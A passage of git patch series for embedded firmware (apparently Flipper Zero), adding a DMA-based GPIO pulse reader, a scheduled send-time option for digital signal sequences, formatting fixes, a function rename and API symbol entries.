uint32_t pos; + uint32_t timer_value; + uint32_t gpio_value; + uint32_t gpio_mask; + uint32_t unit_multiplier; + uint32_t unit_divider; + uint32_t bit_time; + uint32_t dma_channel; + const GpioPin* gpio; + LL_DMA_InitTypeDef dma_config_timer; + LL_DMA_InitTypeDef dma_config_gpio; +} PulseReader; + + +/** Allocate a PulseReader object + * + * Allocates memory for a ringbuffer and initalizes the object + * + * @param[in] gpio the GPIO to use. will get configured as input. + * @param[in] size number of edges to buffer + */ +PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size); + + +/** Free a PulseReader object + * + * Frees all memory of the given object + * + * @param[in] signal previously allocated PulseReader object. + */ +void pulse_reader_free(PulseReader* signal); + + +/** Start signal capturing + * + * Initializes DMA1, TIM2 and DMAMUX_REQ_GEN_0 to automatically capture timer values + * + * @param[in] signal previously allocated PulseReader object. + */ +void pulse_reader_start(PulseReader* signal); + + +/** Stop signal capturing + * + * Frees DMA1, TIM2 and DMAMUX_REQ_GEN_0 + * + * @param[in] signal previously allocated PulseReader object. + */ +void pulse_reader_stop(PulseReader* signal); + + +/** Recevie a sample from ringbuffer + * + * Waits for the specified time until a new edge gets detected. + * If not configured otherwise, the pulse duration will be in picosecond resolution. + * If a bittime was configured, the return value will contain the properly rounded + * number of bit times measured. + * + * @param[in] signal previously allocated PulseReader object. + * @param[in] timeout_us time to wait for a signal [µs] + * + * @returns the scaled value of the pulse duration + */ +uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us); + + +/** Get available samples + * + * Get the number of available samples in the ringbuffer + * + * @param[in] signal previously allocated PulseReader object. + * + * @returns the number of samples in buffer + */ +uint32_t pulse_reader_samples(PulseReader* signal); + + +/** Set timebase + * + * Set the timebase to be used when returning pulse duration. + * + * @param[in] signal previously allocated PulseReader object. + * @param[in] unit PulseReaderUnit64MHz or PulseReaderUnitPicosecond + */ +void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit); + + +/** Set bit time + * + * Set the number of timebase units per bit. + * When set, the pulse_reader_receive() will return an already rounded + * bit count value instead of the raw duration. + * + * Set to 1 to return duration again. + * + * @param[in] signal previously allocated PulseReader object. + * @param[in] bit_time + */ +void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time); + + +#ifdef __cplusplus +} +#endif From 8c34f289927c7b3fe0852b02209fb8aae059bf6d Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Thu, 1 Dec 2022 18:43:22 +0100 Subject: [PATCH 002/329] added send_time option to start a signal at a specific DWT->CYCCNT value --- lib/digital_signal/digital_signal.c | 21 +++++++++++++++++++-- lib/digital_signal/digital_signal.h | 2 ++ 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index c7e8bbca5..727b64ca4 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -253,6 +253,7 @@ void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { sequence->sequence_used = 0; sequence->sequence_size = size; sequence->sequence = malloc(sequence->sequence_size); + sequence->send_time = 0; } DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { @@ -288,6 +289,10 @@ void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index digital_signal_prepare(signal); } +void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time) { + sequence->send_time = send_time; +} + void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { furi_assert(sequence); furi_assert(signal_index < sequence->signals_size); @@ -352,7 +357,8 @@ void digital_signal_update_dma(DigitalSignal* signal) { LL_DMA_ClearFlag_TC2(DMA1); } -static bool digital_sequence_send_signal(DigitalSignal* signal) { +static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { + furi_assert(sequence); furi_assert(signal); /* the first iteration has to set up the whole machinery */ @@ -362,6 +368,17 @@ static bool digital_sequence_send_signal(DigitalSignal* signal) { return false; } digital_signal_setup_timer(); + + /* if the send time is specified, wait till the core timer passed beyond that time */ + if(sequence->send_time != 0) { + while(true) { + uint32_t delta = sequence->send_time - DWT->CYCCNT; + /* yeah, it's making use of underflows... */ + if(delta > 0x80000000) { + break; + } + } + } digital_signal_start_timer(); } else { /* configure next polarities and timings */ @@ -440,7 +457,7 @@ bool digital_sequence_send(DigitalSequence* sequence) { sequence->signals_prolonged[signal_index] = needs_prolongation; } - bool success = digital_sequence_send_signal(sig); + bool success = digital_sequence_send_signal(sequence, sig); if(!success) { break; diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 8f6142258..94df13a60 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -42,6 +42,7 @@ typedef struct { bool* signals_prolonged; uint8_t* sequence; const GpioPin* gpio; + uint32_t send_time; } DigitalSequence; @@ -69,6 +70,7 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio); DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio); void digital_sequence_free(DigitalSequence* sequence); void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index, DigitalSignal* signal); +void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time); void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index); bool digital_sequence_send(DigitalSequence* sequence); void digital_sequence_clear(DigitalSequence* sequence); From 5aae1c3924f7b0abae70817f3be6050b4a57ad1b Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Mon, 5 Dec 2022 09:36:45 +0100 Subject: [PATCH 003/329] fixed linter errors and undone function renaming --- lib/digital_signal/digital_signal.c | 104 ++++++++++++++-------------- lib/digital_signal/digital_signal.h | 18 +++-- lib/pulse_reader/pulse_reader.c | 68 +++++++++--------- lib/pulse_reader/pulse_reader.h | 16 +---- 4 files changed, 96 insertions(+), 110 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 727b64ca4..b78daab3d 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -6,11 +6,9 @@ #define TAG "DigitalSignal" - -#define F_TIM (64000000.0) -#define T_TIM 1562 /* 15.625 ns *100 */ -#define T_TIM_DIV2 781 /* 15.625 ns / 2 *100 */ - +#define F_TIM (64000000.0) +#define T_TIM 1562 /* 15.625 ns *100 */ +#define T_TIM_DIV2 781 /* 15.625 ns / 2 *100 */ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { DigitalSignal* signal = malloc(sizeof(DigitalSignal)); @@ -21,7 +19,7 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { signal->reload_reg_buff = malloc(signal->edges_max_cnt * sizeof(uint32_t)); signal->reload_reg_entries = 0; signal->reload_reg_remainder = 0; - + signal->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; signal->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; signal->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; @@ -32,7 +30,7 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { signal->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; signal->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; - signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) &(TIM2->ARR); + signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); signal->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; signal->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; signal->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; @@ -131,11 +129,11 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { return signal->edge_timings[edge_num]; } -void digital_signal_prepare(DigitalSignal* signal) { +void digital_signal_prepare_arr(DigitalSignal* signal) { furi_assert(signal); furi_assert(signal->gpio); furi_assert(signal->gpio->pin); - + /* set up signal polarities */ uint32_t bit_set = signal->gpio->pin; uint32_t bit_reset = signal->gpio->pin << 16; @@ -181,8 +179,8 @@ static bool digital_signal_setup_dma(DigitalSignal* signal) { return false; } - signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t) signal->gpio_buff; - signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) &(signal->gpio->port->BSRR); + signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)signal->gpio_buff; + signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (signal->gpio->port->BSRR); signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; signal->dma_config_timer.NbData = signal->reload_reg_entries; @@ -198,7 +196,6 @@ static bool digital_signal_setup_dma(DigitalSignal* signal) { } static void digital_signal_setup_timer() { - digital_signal_stop_timer(); LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); @@ -228,7 +225,7 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { /* single signal, add a temporary, terminating edge at the end */ signal->edge_timings[signal->edge_cnt++] = 10; - digital_signal_prepare(signal); + digital_signal_prepare_arr(signal); digital_signal_setup_dma(signal); digital_signal_setup_timer(); @@ -257,7 +254,6 @@ void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { } DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { - DigitalSequence* sequence = malloc(sizeof(DigitalSequence)); sequence->gpio = gpio; @@ -277,7 +273,10 @@ void digital_sequence_free(DigitalSequence* sequence) { free(sequence); } -void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index, DigitalSignal* signal) { +void digital_sequence_set_signal( + DigitalSequence* sequence, + uint8_t signal_index, + DigitalSignal* signal) { furi_assert(sequence); furi_assert(signal); furi_assert(signal_index < sequence->signals_size); @@ -286,7 +285,7 @@ void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index signal->gpio = sequence->gpio; signal->reload_reg_remainder = 0; - digital_signal_prepare(signal); + digital_signal_prepare_arr(signal); } void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time) { @@ -306,52 +305,48 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { } void digital_signal_update_dma(DigitalSignal* signal) { - volatile uint32_t dma1_data[] = { - /* R6 */ (uint32_t)&(DMA1_Channel1->CCR), + /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, /* R8 */ 2, - /* R9 */ (uint32_t)&(signal->gpio->port->BSRR), + /* R9 */ (uint32_t) & (signal->gpio->port->BSRR), /* R10 */ (uint32_t)signal->gpio_buff, - /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN }; + /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; volatile uint32_t dma2_data[] = { - /* R0 */ (uint32_t)&(DMA1_Channel2->CCR), + /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* R2 */ (uint32_t)signal->reload_reg_entries, - /* R3 */ (uint32_t)&(TIM2->ARR), + /* R3 */ (uint32_t) & (TIM2->ARR), /* R4 */ (uint32_t)signal->reload_reg_buff, - /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN }; + /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN}; - /* hurry when setting up next transfer */ asm volatile("\t" - "MOV r6, %[data1]\n\t" - "MOV r7, %[data2]\n\t" + "MOV r6, %[data1]\n\t" + "MOV r7, %[data2]\n\t" - "PUSH {r0-r12}\n\t" + "PUSH {r0-r12}\n\t" - "LDM r7, {r0-r5}\n\t" - "LDM r6, {r6-r11}\n\t" + "LDM r7, {r0-r5}\n\t" + "LDM r6, {r6-r11}\n\t" - "loop:\n\t" - "LDR r12, [r0, #4]\n\t" - "CMP r12, #0\n\t" - "BNE loop\n\t" + "loop:\n\t" + "LDR r12, [r0, #4]\n\t" + "CMP r12, #0\n\t" + "BNE loop\n\t" - "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ - "STR r11, [r6, #0]\n\t" /* enable channel again */ - "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ - "STR r5, [r0, #0]\n\t" /* enable channel again */ + "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ + "STR r11, [r6, #0]\n\t" /* enable channel again */ + "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ + "STR r5, [r0, #0]\n\t" /* enable channel again */ - "POP {r0-r12}\n\t" + "POP {r0-r12}\n\t" - : /* no outputs*/ - : /* inputs */ - [data1] "r" (dma1_data), - [data2] "r" (dma2_data) - : "r6", "r7" ); - + : /* no outputs*/ + : /* inputs */ + [data1] "r"(dma1_data), [data2] "r"(dma2_data) + : "r6", "r7"); LL_DMA_ClearFlag_TC1(DMA1); LL_DMA_ClearFlag_TC2(DMA1); @@ -360,7 +355,7 @@ void digital_signal_update_dma(DigitalSignal* signal) { static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { furi_assert(sequence); furi_assert(signal); - + /* the first iteration has to set up the whole machinery */ if(!LL_DMA_IsEnabledChannel(DMA1, LL_DMA_CHANNEL_1)) { if(!digital_signal_setup_dma(signal)) { @@ -389,21 +384,20 @@ static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSigna } DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { - uint32_t edges = 0; for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { uint8_t signal_index = sequence->sequence[pos]; - DigitalSignal *sig = sequence->signals[signal_index]; + DigitalSignal* sig = sequence->signals[signal_index]; edges += sig->edge_cnt; } DigitalSignal* ret = digital_signal_alloc(edges); - + for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { uint8_t signal_index = sequence->sequence[pos]; - DigitalSignal *sig = sequence->signals[signal_index]; + DigitalSignal* sig = sequence->signals[signal_index]; digital_signal_append(ret, sig); } @@ -429,10 +423,14 @@ bool digital_sequence_send(DigitalSequence* sequence) { for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { uint8_t signal_index = sequence->sequence[pos]; - DigitalSignal *sig = sequence->signals[signal_index]; + DigitalSignal* sig = sequence->signals[signal_index]; if(!sig) { - FURI_LOG_D(TAG, "digital_sequence_send: Signal at index %u, used at pos %lu is NULL, aborting", signal_index, pos); + FURI_LOG_D( + TAG, + "digital_sequence_send: Signal at index %u, used at pos %lu is NULL, aborting", + signal_index, + pos); break; } @@ -470,10 +468,10 @@ bool digital_sequence_send(DigitalSequence* sequence) { digital_signal_stop_timer(); digital_signal_stop_dma(); - + /* undo previously prolonged edges */ for(uint32_t pos = 0; pos < sequence->signals_size; pos++) { - DigitalSignal *sig = sequence->signals[pos]; + DigitalSignal* sig = sequence->signals[pos]; if(sig && sequence->signals_prolonged[pos]) { sig->edge_timings[0]--; diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 94df13a60..2e1a05522 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -13,11 +13,10 @@ extern "C" { #endif /* helper for easier signal generation */ -#define DIGITAL_SIGNAL_MS(x) (x*100000000UL) -#define DIGITAL_SIGNAL_US(x) (x*100000UL) -#define DIGITAL_SIGNAL_NS(x) (x*100UL) -#define DIGITAL_SIGNAL_PS(x) (x/10UL) - +#define DIGITAL_SIGNAL_MS(x) (x * 100000000UL) +#define DIGITAL_SIGNAL_US(x) (x * 100000UL) +#define DIGITAL_SIGNAL_NS(x) (x * 100UL) +#define DIGITAL_SIGNAL_PS(x) (x / 10UL) typedef struct { bool start_level; @@ -45,7 +44,6 @@ typedef struct { uint32_t send_time; } DigitalSequence; - DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); void digital_signal_free(DigitalSignal* signal); @@ -66,17 +64,17 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num); void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio); - DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio); void digital_sequence_free(DigitalSequence* sequence); -void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index, DigitalSignal* signal); +void digital_sequence_set_signal( + DigitalSequence* sequence, + uint8_t signal_index, + DigitalSignal* signal); void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time); void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index); bool digital_sequence_send(DigitalSequence* sequence); void digital_sequence_clear(DigitalSequence* sequence); - - #ifdef __cplusplus } #endif diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 18e7ee98d..20f993844 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -5,7 +5,6 @@ #include "pulse_reader.h" - #define GPIO_PIN_MAP(pin, prefix) \ (((pin) == (LL_GPIO_PIN_0)) ? prefix##0 : \ ((pin) == (LL_GPIO_PIN_1)) ? prefix##1 : \ @@ -26,10 +25,7 @@ #define GET_DMAMUX_EXTI_LINE(pin) GPIO_PIN_MAP(pin, LL_DMAMUX_REQ_GEN_EXTI_LINE) - - PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { - PulseReader* signal = malloc(sizeof(PulseReader)); signal->timer_buffer = malloc(size * sizeof(uint32_t)); signal->gpio_buffer = malloc(size * sizeof(uint32_t)); @@ -43,14 +39,15 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { pulse_reader_set_bittime(signal, 1); signal->dma_config_timer.Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY; - signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) &(TIM2->CNT); + signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->CNT); signal->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; signal->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t) signal->timer_buffer; + signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->timer_buffer; signal->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; signal->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; signal->dma_config_timer.Mode = LL_DMA_MODE_CIRCULAR; - signal->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_GENERATOR0; /* executes LL_DMA_SetPeriphRequest */ + signal->dma_config_timer.PeriphRequest = + LL_DMAMUX_REQ_GENERATOR0; /* executes LL_DMA_SetPeriphRequest */ signal->dma_config_timer.Priority = LL_DMA_PRIORITY_VERYHIGH; signal->dma_config_gpio.Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY; @@ -59,7 +56,8 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { signal->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; signal->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; signal->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; - signal->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_GENERATOR0; /* executes LL_DMA_SetPeriphRequest */ + signal->dma_config_gpio.PeriphRequest = + LL_DMAMUX_REQ_GENERATOR0; /* executes LL_DMA_SetPeriphRequest */ signal->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; return signal; @@ -67,22 +65,22 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit) { switch(unit) { - case PulseReaderUnit64MHz: - signal->unit_multiplier = 1; - signal->unit_divider = 1; - break; - case PulseReaderUnitPicosecond: - signal->unit_multiplier = 15625; - signal->unit_divider = 1; - break; - case PulseReaderUnitNanosecond: - signal->unit_multiplier = 15625; - signal->unit_divider = 1000; - break; - case PulseReaderUnitMicrosecond: - signal->unit_multiplier = 15625; - signal->unit_divider = 1000000; - break; + case PulseReaderUnit64MHz: + signal->unit_multiplier = 1; + signal->unit_divider = 1; + break; + case PulseReaderUnitPicosecond: + signal->unit_multiplier = 15625; + signal->unit_divider = 1; + break; + case PulseReaderUnitNanosecond: + signal->unit_multiplier = 15625; + signal->unit_divider = 1000; + break; + case PulseReaderUnitMicrosecond: + signal->unit_multiplier = 15625; + signal->unit_divider = 1000000; + break; } } @@ -104,7 +102,7 @@ uint32_t pulse_reader_samples(PulseReader* signal) { void pulse_reader_stop(PulseReader* signal) { LL_DMA_DisableChannel(DMA1, signal->dma_channel); - LL_DMA_DisableChannel(DMA1, signal->dma_channel+1); + LL_DMA_DisableChannel(DMA1, signal->dma_channel + 1); LL_DMAMUX_DisableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); LL_TIM_DisableCounter(TIM2); } @@ -113,8 +111,8 @@ void pulse_reader_start(PulseReader* signal) { /* configure DMA to read from a timer peripheral */ signal->dma_config_timer.NbData = signal->size; - signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) &(signal->gpio->port->IDR); - signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t) signal->gpio_buffer; + signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (signal->gpio->port->IDR); + signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)signal->gpio_buffer; signal->dma_config_gpio.NbData = signal->size; /* start counter */ @@ -126,14 +124,16 @@ void pulse_reader_start(PulseReader* signal) { LL_TIM_EnableCounter(TIM2); /* generator 0 gets fed by EXTI_LINEn */ - LL_DMAMUX_SetRequestSignalID(NULL, LL_DMAMUX_REQ_GEN_0, GET_DMAMUX_EXTI_LINE(signal->gpio->pin)); + LL_DMAMUX_SetRequestSignalID( + NULL, LL_DMAMUX_REQ_GEN_0, GET_DMAMUX_EXTI_LINE(signal->gpio->pin)); /* trigger on rising edge of the interrupt */ LL_DMAMUX_SetRequestGenPolarity(NULL, LL_DMAMUX_REQ_GEN_0, LL_DMAMUX_REQ_GEN_POL_RISING); /* now enable request generation again */ LL_DMAMUX_EnableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); /* we need the EXTI to be configured as interrupt generating line, but no ISR registered */ - furi_hal_gpio_init_ex(signal->gpio, GpioModeInterruptRiseFall, GpioPullNo, GpioSpeedVeryHigh, GpioAltFnUnused); + furi_hal_gpio_init_ex( + signal->gpio, GpioModeInterruptRiseFall, GpioPullNo, GpioSpeedVeryHigh, GpioAltFnUnused); /* capture current timer */ signal->pos = 0; @@ -149,17 +149,16 @@ void pulse_reader_start(PulseReader* signal) { } uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us) { - uint32_t start_time = DWT->CYCCNT; - uint32_t timeout_ticks = timeout_us * (F_TIM2/1000000); + uint32_t timeout_ticks = timeout_us * (F_TIM2 / 1000000); do { /* get the DMA's next write position by reading "remaining length" register */ - uint32_t dma_pos = signal->size - (uint32_t)LL_DMA_GetDataLength(DMA1, signal->dma_channel); + uint32_t dma_pos = + signal->size - (uint32_t)LL_DMA_GetDataLength(DMA1, signal->dma_channel); /* the DMA has advanced in the ringbuffer */ if(dma_pos != signal->pos) { - uint32_t delta = signal->timer_buffer[signal->pos] - signal->timer_value; uint32_t last_gpio_value = signal->gpio_value; @@ -179,7 +178,8 @@ uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us) { /* probably larger values, so choose a wider data type */ if(signal->unit_divider > 1) { - delta_unit = (uint32_t)((uint64_t)delta * (uint64_t)signal->unit_multiplier / signal->unit_divider); + delta_unit = + (uint32_t)((uint64_t)delta * (uint64_t)signal->unit_multiplier / signal->unit_divider); } else { delta_unit = delta * signal->unit_multiplier; } diff --git a/lib/pulse_reader/pulse_reader.h b/lib/pulse_reader/pulse_reader.h index f55a65931..564bf1063 100644 --- a/lib/pulse_reader/pulse_reader.h +++ b/lib/pulse_reader/pulse_reader.h @@ -14,9 +14,9 @@ extern "C" { #endif -#define PULSE_READER_NO_EDGE 0xFFFFFFFFUL -#define PULSE_READER_LOST_EDGE 0xFFFFFFFEUL -#define F_TIM2 64000000UL +#define PULSE_READER_NO_EDGE 0xFFFFFFFFUL +#define PULSE_READER_LOST_EDGE 0xFFFFFFFEUL +#define F_TIM2 64000000UL /** * unit of the edge durations to return @@ -28,7 +28,6 @@ typedef enum { PulseReaderUnitMicrosecond, } PulseReaderUnit; - typedef struct { bool start_level; uint32_t* timer_buffer; @@ -47,7 +46,6 @@ typedef struct { LL_DMA_InitTypeDef dma_config_gpio; } PulseReader; - /** Allocate a PulseReader object * * Allocates memory for a ringbuffer and initalizes the object @@ -57,7 +55,6 @@ typedef struct { */ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size); - /** Free a PulseReader object * * Frees all memory of the given object @@ -66,7 +63,6 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size); */ void pulse_reader_free(PulseReader* signal); - /** Start signal capturing * * Initializes DMA1, TIM2 and DMAMUX_REQ_GEN_0 to automatically capture timer values @@ -75,7 +71,6 @@ void pulse_reader_free(PulseReader* signal); */ void pulse_reader_start(PulseReader* signal); - /** Stop signal capturing * * Frees DMA1, TIM2 and DMAMUX_REQ_GEN_0 @@ -84,7 +79,6 @@ void pulse_reader_start(PulseReader* signal); */ void pulse_reader_stop(PulseReader* signal); - /** Recevie a sample from ringbuffer * * Waits for the specified time until a new edge gets detected. @@ -99,7 +93,6 @@ void pulse_reader_stop(PulseReader* signal); */ uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us); - /** Get available samples * * Get the number of available samples in the ringbuffer @@ -110,7 +103,6 @@ uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us); */ uint32_t pulse_reader_samples(PulseReader* signal); - /** Set timebase * * Set the timebase to be used when returning pulse duration. @@ -120,7 +112,6 @@ uint32_t pulse_reader_samples(PulseReader* signal); */ void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit); - /** Set bit time * * Set the number of timebase units per bit. @@ -134,7 +125,6 @@ void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit); */ void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time); - #ifdef __cplusplus } #endif From 271a639486e06802fd1bf6ab794211876a2712cd Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Mon, 5 Dec 2022 10:32:44 +0100 Subject: [PATCH 004/329] fixed renaming --- lib/digital_signal/digital_signal.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 2e1a05522..9a91c8b45 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -54,7 +54,7 @@ void digital_signal_add_pulse(DigitalSignal* signal, uint32_t ticks, bool level) bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b); -void digital_signal_prepare(DigitalSignal* signal); +void digital_signal_prepare_arr(DigitalSignal* signal); bool digital_signal_get_start_level(DigitalSignal* signal); From 9404c2f1085df711ca3d8f8f39ae1845bb946926 Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Mon, 5 Dec 2022 10:36:15 +0100 Subject: [PATCH 005/329] flagged functions in api_symbols.csv --- firmware/targets/f7/api_symbols.csv | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index afc7c4e93..2316b11f9 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,8.1,, +Version,+,8.3,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -707,6 +707,15 @@ Function,+,dialog_message_set_text,void,"DialogMessage*, const char*, uint8_t, u Function,+,dialog_message_show,DialogMessageButton,"DialogsApp*, const DialogMessage*" Function,+,dialog_message_show_storage_error,void,"DialogsApp*, const char*" Function,-,difftime,double,"time_t, time_t" +Function,-,digital_sequence_add,void,"DigitalSequence*, uint8_t" +Function,-,digital_sequence_alloc,DigitalSequence*,"uint32_t, const GpioPin*" +Function,-,digital_sequence_clear,void,DigitalSequence* +Function,-,digital_sequence_free,void,DigitalSequence* +Function,-,digital_sequence_send,_Bool,DigitalSequence* +Function,-,digital_sequence_set_sendtime,void,"DigitalSequence*, uint32_t" +Function,-,digital_sequence_set_signal,void,"DigitalSequence*, uint8_t, DigitalSignal*" +Function,-,digital_signal_add,void,"DigitalSignal*, uint32_t" +Function,-,digital_signal_add_pulse,void,"DigitalSignal*, uint32_t, _Bool" Function,-,digital_signal_alloc,DigitalSignal*,uint32_t Function,-,digital_signal_append,_Bool,"DigitalSignal*, DigitalSignal*" Function,-,digital_signal_free,void,DigitalSignal* From ef15dca3abf6094e6f8c891a039b1eb54351beac Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Mon, 5 Dec 2022 12:19:05 +0100 Subject: [PATCH 006/329] allow gpio field to stay uninitialized in digital_signal_prepare_arr() --- lib/digital_signal/digital_signal.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index b78daab3d..9ba5cc901 100644 --- a/lib/digital_signal/digital_signal.c +++ 